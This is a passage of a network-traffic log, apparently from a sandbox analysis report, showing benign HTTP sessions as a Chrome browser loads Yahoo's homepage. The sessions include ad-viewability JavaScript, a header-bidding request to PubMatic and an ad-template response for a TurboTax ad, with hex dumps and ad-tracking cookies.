2024-01-10 23:27:41 UTC	776	IN	HTTP/1.1 200 OK x-amz-id-2: kaCSsBGSMr+Fn3HVcYjFN7WUM7iMiHRFjVcTX5D8PTS9DFMwZ0hftsvSjxImkJkYiH9KpAE5jxRuQ1eqioY4iQ== x-amz-request-id: FG39NA15JSTQK6DH Date: Wed, 10 Jan 2024 23:26:07 GMT Last-Modified: Tue, 19 May 2020 04:19:48 GMT ETag: "ff73e1c29819f206b98107479b29bb95" x-amz-server-side-encryption: AES256 Cache-Control: max-age=12000 Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 4643 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 95 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:41 UTC	1300	IN	Data Raw: 76 61 72 20 47 65 6d 69 6e 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 63 28 74 29 7b 72 65 74 75 72 6e 28 63 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3f 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 74 7d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 26 26 74 21 3d 3d 53 79 6d 62 6f 6c 2e 70 72 6f 74 6f 74 79 70 65 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f Data Ascii: var Gemini=function(){"use strict";function c(t){return(c="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeo
2024-01-10 23:27:41 UTC	1300	IN	Data Raw: 6e 20 45 28 74 2c 65 29 7b 76 61 72 20 6e 3d 65 2e 72 75 6c 65 73 2c 69 3d 6e 2e 76 69 65 77 61 62 69 6c 69 74 79 44 65 66 53 74 61 74 69 63 2c 6f 3d 6e 2e 76 69 65 77 61 62 69 6c 69 74 79 44 65 66 53 74 61 74 69 63 33 50 2c 72 3d 65 2e 74 61 67 2c 61 3d 72 2e 63 6c 69 63 6b 54 72 61 63 6b 69 6e 67 55 72 6c 2c 63 3d 72 2e 69 6d 70 72 54 72 61 63 6b 69 6e 67 55 72 6c 2c 6c 3d 72 2e 69 6d 70 72 54 72 61 63 6b 69 6e 67 55 72 6c 73 2c 75 3d 65 2e 61 63 74 69 6f 6e 55 72 6c 73 3b 69 66 28 75 26 26 75 2e 50 41 52 54 49 41 4c 5f 56 49 45 57 29 66 6f 72 28 76 61 72 20 66 3d 75 2e 50 41 52 54 49 41 4c 5f 56 49 45 57 2c 68 3d 7b 70 3a 2e 30 31 2c 64 3a 30 2c 74 3a 32 31 7d 2c 73 3d 30 2c 64 3d 66 2e 6c 65 6e 67 74 68 3b 73 3c 64 3b 73 2b 2b 29 77 28 74 2c 22 76 69 Data Ascii: n E(t,e){var n=e.rules,i=n.viewabilityDefStatic,o=n.viewabilityDefStatic3P,r=e.tag,a=r.clickTrackingUrl,c=r.imprTrackingUrl,l=r.imprTrackingUrls,u=e.actionUrls;if(u&&u.PARTIAL_VIEW)for(var f=u.PARTIAL_VIEW,h={p:.01,d:0,t:21},s=0,d=f.length;s<d;s++)w(t,"vi
2024-01-10 23:27:41 UTC	1300	IN	Data Raw: 65 2c 31 30 29 2c 6f 3d 30 2c 72 3d 30 2c 61 3d 69 2e 6c 65 6e 67 74 68 3b 72 3c 61 3b 72 2b 2b 29 7b 76 61 72 20 63 3d 69 5b 72 5d 5b 30 5d 2c 6c 3d 69 5b 72 5d 5b 31 5d 2c 75 3d 64 6f 63 75 6d 65 6e 74 2e 65 6c 65 6d 65 6e 74 46 72 6f 6d 50 6f 69 6e 74 28 63 2c 6c 29 3b 75 3d 3d 3d 74 7c 7c 74 2e 63 6f 6e 74 61 69 6e 73 28 75 29 7c 7c 6f 2b 2b 7d 72 65 74 75 72 6e 21 28 31 30 30 2a 6e 3c 3d 31 30 30 2d 6f 2f 69 2e 6c 65 6e 67 74 68 2a 31 30 30 29 7d 2c 75 3d 66 75 6e 63 74 69 6f 6e 20 75 28 74 2c 65 29 7b 76 61 72 20 6e 3d 6c 28 29 2c 69 3d 74 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 28 29 2c 6f 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 69 2e 62 6f 74 74 6f 6d 2c 6e 2e 68 65 69 67 68 74 29 2d 4d 61 74 68 2e Data Ascii: e,10),o=0,r=0,a=i.length;r<a;r++){var c=i[r][0],l=i[r][1],u=document.elementFromPoint(c,l);u===t\|\|t.contains(u)\|\|o++}return!(100n<=100-o/i.length100)},u=function u(t,e){var n=l(),i=t.getBoundingClientRect(),o=Math.max(0,Math.min(i.bottom,n.height)-Math.
2024-01-10 23:27:41 UTC	743	IN	Data Raw: 26 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 76 69 73 69 62 69 6c 69 74 79 63 68 61 6e 67 65 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 2e 70 61 75 73 65 64 3d 64 6f 63 75 6d 65 6e 74 2e 68 69 64 64 65 6e 7d 29 7d 2c 76 3d 66 75 6e 63 74 69 6f 6e 20 76 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 61 64 73 2c 6e 3d 74 2e 73 65 63 74 69 6f 6e 2e 69 64 2c 69 3d 65 2e 6c 65 6e 67 74 68 2c 6f 3d 30 3b 6f 3c 69 3b 6f 2b 2b 29 7b 76 61 72 20 72 3d 65 5b 6f 5d 2c 61 3d 72 2e 63 75 73 74 6f 6d 49 64 7c 7c 22 67 65 6d 69 6e 69 2d 22 2b 6e 2b 22 2d 22 2b 28 72 2e 63 72 65 61 74 69 76 65 49 64 7c 7c 72 2e 64 65 6d 61 6e 64 53 6f 75 72 63 65 43 72 65 61 74 69 76 65 49 64 7c 7c 72 2e 64 79 6e 61 6d 69 63 50 Data Ascii: &document.addEventListener("visibilitychange",function(){return b.paused=document.hidden})},v=function v(t){for(var e=t.ads,n=t.section.id,i=e.length,o=0;o<i;o++){var r=e[o],a=r.customId\|\|"gemini-"+n+"-"+(r.creativeId\|\|r.demandSourceCreativeId\|\|r.dynamicP

Session ID	Source IP	Source Port	Destination IP	Destination Port
746	192.168.2.4	50599	104.36.115.111	443

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:41 UTC	3851	OUT	POST /translator?source=prebid-client HTTP/1.1 Host: hbopenbid.pubmatic.com Connection: keep-alive Content-Length: 918 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; KRTBCOOKIE_1323=23480-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23485-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23524-OPU94c5f6bfc10e4266866ca02b6e163de0; KRTBCOOKIE_52=22772-R33645_10F17D40A_8AEC9589&KRTB&23092-R33645_10F17D40A_8AEC9589; chkChromeAb67Sec=4; pi=159463:4; DPSync3=1705449600%3A253_252_265%7C1704931200%3A248_255%7C1705881600%3A257%7C1706054400%3A260_201_261_262_256_245_263_258_236_259; SyncRTB3=1706054400%3A56_233_13_250_71_166_178_8_234_220_176_81_3_21_96_264_99_240_55_48_54_243_104_5_46_238_231_249_165_7_214_22%7C1705708800%3A63%7C1706140800%3A35%7C1705449600%3A223_2_15_38%7C1707436800%3A224%7C1710028800%3A69; KRTBCOOKIE_594=17105-RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005&KRTB&17107-RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005; KRTBCOOKIE_32=11175-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22713-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22715-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&23519-AAAHeHO4ZcfjXANgwiqRAAAAAAA; SPugT=1704929250; PugT=1704929250
2024-01-10 23:27:41 UTC	918	OUT	Data Raw: 7b 22 69 64 22 3a 22 31 37 30 34 39 32 39 32 36 30 33 36 33 22 2c 22 61 74 22 3a 31 2c 22 63 75 72 22 3a 5b 22 55 53 44 22 5d 2c 22 69 6d 70 22 3a 5b 7b 22 69 64 22 3a 22 31 37 36 36 37 33 39 31 37 33 37 39 34 34 33 35 31 37 30 34 39 32 39 32 36 30 33 35 36 22 2c 22 74 61 67 69 64 22 3a 22 35 35 33 37 32 39 38 22 2c 22 62 69 64 66 6c 6f 6f 72 22 3a 30 2e 30 35 2c 22 73 65 63 75 72 65 22 3a 31 2c 22 65 78 74 22 3a 7b 22 64 61 74 61 22 3a 7b 22 70 62 61 64 73 6c 6f 74 22 3a 22 75 73 5f 79 68 70 5f 6d 61 69 6e 5f 64 74 5f 74 6f 70 5f 72 69 67 68 74 22 7d 2c 22 67 70 69 64 22 3a 22 75 73 5f 79 68 70 5f 6d 61 69 6e 5f 64 74 5f 74 6f 70 5f 72 69 67 68 74 22 7d 2c 22 62 69 64 66 6c 6f 6f 72 63 75 72 22 3a 22 55 53 44 22 2c 22 62 61 6e 6e 65 72 22 3a 7b 22 77 22 Data Ascii: {"id":"1704929260363","at":1,"cur":["USD"],"imp":[{"id":"17667391737944351704929260356","tagid":"5537298","bidfloor":0.05,"secure":1,"ext":{"data":{"pbadslot":"us_yhp_main_dt_top_right"},"gpid":"us_yhp_main_dt_top_right"},"bidfloorcur":"USD","banner":{"w"
2024-01-10 23:27:41 UTC	227	IN	HTTP/1.1 204 No Content Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://www.yahoo.com Cache-Control: no-cache, no-store, must-revalidate Date: Wed, 10 Jan 2024 23:27:41 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
747	192.168.2.4	50603	74.6.143.22	443

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:41 UTC	1293	OUT	GET /api/v2/template?spaceid=2023538075&adPositions=MAST&pageContext=%7B%22bucket%22%3A%5B%22drop_heimdall_homepage_control_bucket%22%2C%22MimicProviderListv2-copy%22%2C%22seamless%22%5D%2C%22lu%22%3A%220%22%2C%22pt%22%3A%22home%22%2C%22site%22%3A%22fp%22%7D HTTP/1.1 Host: nts.media.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; __gpi=UID=00000db622e915a6:T=1704929235:RT=1704929235:S=ALNI_MY_tixDbe1OsecCZB9Ceu1DyK0X0w
2024-01-10 23:27:41 UTC	496	IN	HTTP/1.1 200 OK content-type: application/json;charset=utf-8 y-rid: 1qhlsepipu9vd x-request-id: cc1254cb-d7f5-4a89-ade5-1c35ddc0b581 vary: Accept-Encoding, User-Agent x-envoy-upstream-service-time: 163 date: Wed, 10 Jan 2024 23:27:40 GMT server: ATS x-envoy-decorator-operation: monetization-templates-service--mtls-fp-production-bf1.analytics-monetization--k8s.svc.yahoo.local:4080/* Age: 1 Transfer-Encoding: chunked Connection: close Strict-Transport-Security: max-age=31536000
2024-01-10 23:27:41 UTC	1300	IN	Data Raw: 37 65 62 65 0d 0a 7b 22 61 64 73 22 3a 5b 7b 22 61 64 50 6f 73 69 74 69 6f 6e 22 3a 22 4d 41 53 54 22 2c 22 61 64 53 69 7a 65 22 3a 22 39 37 30 78 32 35 30 22 2c 22 70 72 65 54 61 70 41 64 46 6f 72 6d 61 74 22 3a 22 54 45 58 54 5f 4f 50 54 4f 55 54 5f 4d 4d 22 2c 22 74 65 6d 70 6c 61 74 65 22 3a 22 3c 21 2d 2d 20 4d 41 53 54 20 74 65 6d 70 6c 61 74 65 20 2d 2d 3e 5c 6e 3c 73 74 79 6c 65 20 6d 65 64 69 61 3d 5c 22 73 63 72 65 65 6e 5c 22 3e 5c 6e 20 20 20 20 2e 61 63 74 2d 73 61 6e 73 2d 73 65 6c 65 63 74 7b 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 74 6f 75 63 68 2d 63 61 6c 6c 6f 75 74 3a 20 6e 6f 6e 65 3b 2d 77 65 62 6b 69 74 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 2d 6b 68 74 6d 6c 2d 75 73 65 72 2d 73 65 Data Ascii: 7ebe{"ads":[{"adPosition":"MAST","adSize":"970x250","preTapAdFormat":"TEXT_OPTOUT_MM","template":"... MAST template -->\n<style media=\"screen\">\n .act-sans-select{cursor: pointer;-webkit-touch-callout: none;-webkit-user-select: none;-khtml-user-se
2024-01-10 23:27:41 UTC	1300	IN	Data Raw: 6d 61 72 67 69 6e 3a 20 31 37 70 78 20 30 70 78 20 30 70 78 20 30 70 78 3b 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 20 34 34 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 32 32 70 78 3b 7d 5c 6e 20 20 20 20 23 63 74 61 2d 74 65 78 74 20 7b 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 32 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 33 32 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 33 32 70 78 3b 7d 5c 6e 20 20 20 20 23 61 63 74 2d 66 6f 6f 74 65 72 20 7b 72 69 67 68 74 3a 20 33 35 70 78 3b 62 6f 74 74 6f 6d 3a 20 31 32 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 66 6f 6e 74 3a 20 31 32 70 78 20 5c 22 48 65 Data Ascii: margin: 17px 0px 0px 0px;display: inline-block;height: 44px;border-radius: 22px;}\n #cta-text {display: inline-block;margin-top: 12px;padding-left: 32px;padding-right: 32px;}\n #act-footer {right: 35px;bottom: 12px;position: absolute;font: 12px \"He
2024-01-10 23:27:41 UTC	1300	IN	Data Raw: 35 30 25 3b 20 74 6f 70 3a 20 35 30 25 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 20 2d 35 30 25 29 3b 5c 22 3e 3c 2f 64 69 76 3e 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 73 74 79 6c 65 3d 5c 22 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 20 6d 61 72 67 69 6e 3a 20 30 70 78 20 35 70 78 20 30 70 78 20 30 70 78 3b 20 74 6f 70 3a 20 35 30 25 3b 20 72 69 67 68 74 3a 20 32 30 70 78 3b 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 30 25 2c 20 2d 35 30 25 29 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 Data Ascii: 50%; top: 50%; position: absolute; transform: translate(-50%, -50%);\"></div>\n </div>\n <p style=\"user-select: none; margin: 0px 5px 0px 0px; top: 50%; right: 20px; transform: translate(0%, -50%); position: absolute; font-weight: b
2024-01-10 23:27:41 UTC	1300	IN	Data Raw: 4c 55 44 54 79 4a 4e 59 6c 4f 4b 53 6a 6e 46 59 53 54 66 59 31 5a 66 37 63 44 62 64 39 6a 52 39 38 71 7a 65 55 53 61 77 58 4b 51 6b 38 56 30 39 36 71 42 56 42 44 63 55 72 79 30 4d 35 52 6e 53 68 30 59 4f 65 39 43 35 46 54 42 69 32 33 37 49 70 5a 43 30 35 74 7a 56 32 4a 6a 71 57 4e 46 75 50 54 55 49 65 32 38 33 36 79 4d 42 34 56 39 75 35 6e 34 63 4d 45 45 55 6e 2d 68 55 4b 57 76 44 67 70 71 46 78 77 4b 44 65 51 54 45 76 75 6f 55 43 6f 69 58 4b 55 32 38 6f 55 71 41 37 71 78 4f 71 55 48 78 32 33 47 62 59 47 75 77 36 4c 33 66 68 6f 7a 6c 70 36 6b 70 32 48 65 5a 70 4e 32 62 65 68 34 2d 65 77 6d 62 7a 75 56 68 44 63 77 65 52 55 2d 5f 50 5f 26 61 70 3d 24 28 41 44 5f 50 4f 53 4e 29 5c 22 2c 5c 6e 20 20 20 20 5c 22 63 63 43 6f 64 65 5c 22 3a 20 5c 22 53 54 52 4d Data Ascii: LUDTyJNYlOKSjnFYSTfY1Zf7cDbd9jR98qzeUSawXKQk8V096qBVBDcUry0M5RnSh0YOe9C5FTBi237IpZC05tzV2JjqWNFuPTUIe2836yMB4V9u5n4cMEEUn-hUKWvDgpqFxwKDeQTEvuoUCoiXKU28oUqA7qxOqUHx23GbYGuw6L3fhozlp6kp2HeZpN2beh4-ewmbzuVhDcweRU-_P_&ap=$(AD_POSN)\",\n \"ccCode\": \"STRM
2024-01-10 23:27:41 UTC	1300	IN	Data Raw: 45 4b 4b 58 4c 41 77 4c 79 48 2d 41 2d 43 77 58 6e 77 4b 47 57 31 30 61 6e 50 5f 77 6f 66 5f 61 49 6d 47 79 5a 6e 53 57 7a 69 45 4c 4c 6d 70 54 65 32 6c 74 59 72 48 69 5a 78 79 2d 72 36 64 2d 73 67 4a 4e 73 51 53 4d 44 71 51 4e 59 48 50 53 58 49 63 41 43 62 32 54 50 4d 39 34 4d 45 4a 38 37 32 50 4f 44 4b 34 4b 43 77 55 4d 4f 44 37 79 53 34 33 77 33 2d 58 4b 68 45 6f 67 2d 75 78 66 4f 50 32 44 53 6a 73 33 64 73 31 33 51 57 55 4a 58 55 6d 31 79 42 6e 6d 39 38 49 46 66 41 4d 4d 6f 6d 4c 48 73 6a 48 75 50 6a 4b 69 61 6c 30 46 74 32 47 41 44 7a 66 77 59 5a 35 57 36 45 47 56 57 58 6c 65 65 35 52 77 45 68 6e 74 45 50 68 6b 5f 6a 5a 6b 31 4e 70 54 75 72 47 73 42 78 2d 4d 4d 57 71 51 7a 42 37 6a 71 32 6a 78 5f 41 42 64 65 5f 42 6d 70 57 36 31 45 47 4f 73 35 4b 48 Data Ascii: EKKXLAwLyH-A-CwXnwKGW10anP_wof_aImGyZnSWziELLmpTe2ltYrHiZxy-r6d-sgJNsQSMDqQNYHPSXIcACb2TPM94MEJ872PODK4KCwUMOD7yS43w3-XKhEog-uxfOP2DSjs3ds13QWUJXUm1yBnm98IFfAMMomLHsjHuPjKial0Ft2GADzfwYZ5W6EGVWXlee5RwEhntEPhk_jZk1NpTurGsBx-MMWqQzB7jq2jx_ABde_BmpW61EGOs5KH
2024-01-10 23:27:41 UTC	1079	IN	Data Raw: 32 31 32 35 35 30 31 59 41 48 4f 4f 47 45 4d 49 4e 49 2f 42 33 30 37 39 30 37 34 30 2e 33 38 34 38 33 38 38 31 38 3b 64 63 5f 74 72 6b 5f 61 69 64 3d 35 37 34 38 36 39 30 36 34 3b 64 63 5f 74 72 6b 5f 63 69 64 3d 31 33 37 39 38 36 30 37 31 3b 6f 72 64 3d 64 39 37 31 30 63 34 34 2d 62 30 30 66 2d 31 31 65 65 2d 61 61 38 64 2d 66 30 39 32 31 63 31 39 64 62 66 30 2d 37 66 63 65 33 66 37 31 63 37 30 30 3b 64 63 5f 6c 61 74 3d 3b 64 63 5f 72 64 69 64 3d 3b 74 61 67 5f 66 6f 72 5f 63 68 69 6c 64 5f 64 69 72 65 63 74 65 64 5f 74 72 65 61 74 6d 65 6e 74 3d 3b 74 66 75 61 3d 3b 67 64 70 72 3d 30 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 3b 6c 74 64 3d 3b 64 63 5f 74 64 76 3d 31 3f 5c 5c 5c 22 2c 5c 5c 5c 22 69 6d 70 72 54 72 61 63 6b 69 6e 67 55 72 6c 73 5c 5c 5c Data Ascii: 2125501YAHOOGEMINI/B30790740.384838818;dc_trk_aid=574869064;dc_trk_cid=137986071;ord=d9710c44-b00f-11ee-aa8d-f0921c19dbf0-7fce3f71c700;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;gdpr=0;gdpr_consent=;ltd=;dc_tdv=1?\\\",\\\"imprTrackingUrls\\\
2024-01-10 23:27:41 UTC	1300	IN	Data Raw: 73 2e 79 69 6d 67 2e 63 6f 6d 2f 61 76 2f 63 75 72 76 65 62 61 6c 6c 2f 61 64 73 2f 70 72 2f 52 45 53 49 5a 45 5f 41 4e 44 5f 43 52 4f 50 2f 31 32 30 30 78 36 32 37 2f 38 65 32 31 38 34 34 62 34 63 36 64 36 61 37 65 37 33 61 36 39 63 34 33 38 38 32 31 30 61 61 32 2e 6a 70 65 67 5c 5c 5c 22 2c 5c 5c 5c 22 73 65 63 49 6d 61 67 65 5c 5c 5c 22 3a 5c 5c 5c 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 61 76 2f 63 75 72 76 65 62 61 6c 6c 2f 61 64 73 2f 70 72 2f 52 45 53 49 5a 45 2f 38 32 78 38 32 2f 65 30 61 65 39 39 62 64 61 38 37 30 31 31 66 34 30 63 36 30 31 63 31 31 62 36 61 37 62 36 38 33 2e 6a 70 65 67 5c 5c 5c 22 2c 5c 5c 5c 22 73 65 63 4f 72 69 67 49 6d 67 5c 5c 5c 22 3a 5c 5c 5c 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f Data Ascii: s.yimg.com/av/curveball/ads/pr/RESIZE_AND_CROP/1200x627/8e21844b4c6d6a7e73a69c4388210aa2.jpeg\\\",\\\"secImage\\\":\\\"https://s.yimg.com/av/curveball/ads/pr/RESIZE/82x82/e0ae99bda87011f40c601c11b6a7b683.jpeg\\\",\\\"secOrigImg\\\":\\\"https://s.yimg.com/
2024-01-10 23:27:41 UTC	1300	IN	Data Raw: 6e 20 20 20 20 20 20 7d 5c 6e 20 20 20 20 7d 2c 5c 6e 20 20 20 20 5c 22 70 72 65 54 61 70 41 64 46 6f 72 6d 61 74 5c 22 3a 20 5c 22 54 45 58 54 5f 4f 50 54 4f 55 54 5f 4d 4d 5c 22 2c 5c 6e 20 20 20 20 5c 22 70 6f 73 74 54 61 70 41 64 46 6f 72 6d 61 74 5c 22 3a 20 5c 22 41 44 56 45 52 54 49 53 45 52 5f 53 49 54 45 5c 22 2c 5c 6e 20 20 20 20 5c 22 73 70 6f 6e 73 6f 72 65 64 42 79 5c 22 3a 20 5c 22 54 75 72 62 6f 54 61 78 5c 22 5c 6e 20 20 7d 5d 2c 5c 6e 20 20 5c 22 73 74 61 74 75 73 5c 22 3a 20 5c 22 30 5c 22 2c 5c 6e 20 20 5c 22 73 65 63 74 69 6f 6e 5c 22 3a 20 7b 5c 6e 20 20 20 20 5c 22 69 64 5c 22 3a 20 35 36 34 35 30 35 32 5c 6e 20 20 7d 5c 6e 7d 2c 20 70 61 67 65 41 64 4d 65 74 61 3a 20 7b 5c 22 61 64 4c 69 74 65 55 70 73 65 6c 6c 4c 69 6e 6b 5c 22 3a Data Ascii: n }\n },\n \"preTapAdFormat\": \"TEXT_OPTOUT_MM\",\n \"postTapAdFormat\": \"ADVERTISER_SITE\",\n \"sponsoredBy\": \"TurboTax\"\n }],\n \"status\": \"0\",\n \"section\": {\n \"id\": 5645052\n }\n}, pageAdMeta: {\"adLiteUpsellLink\":
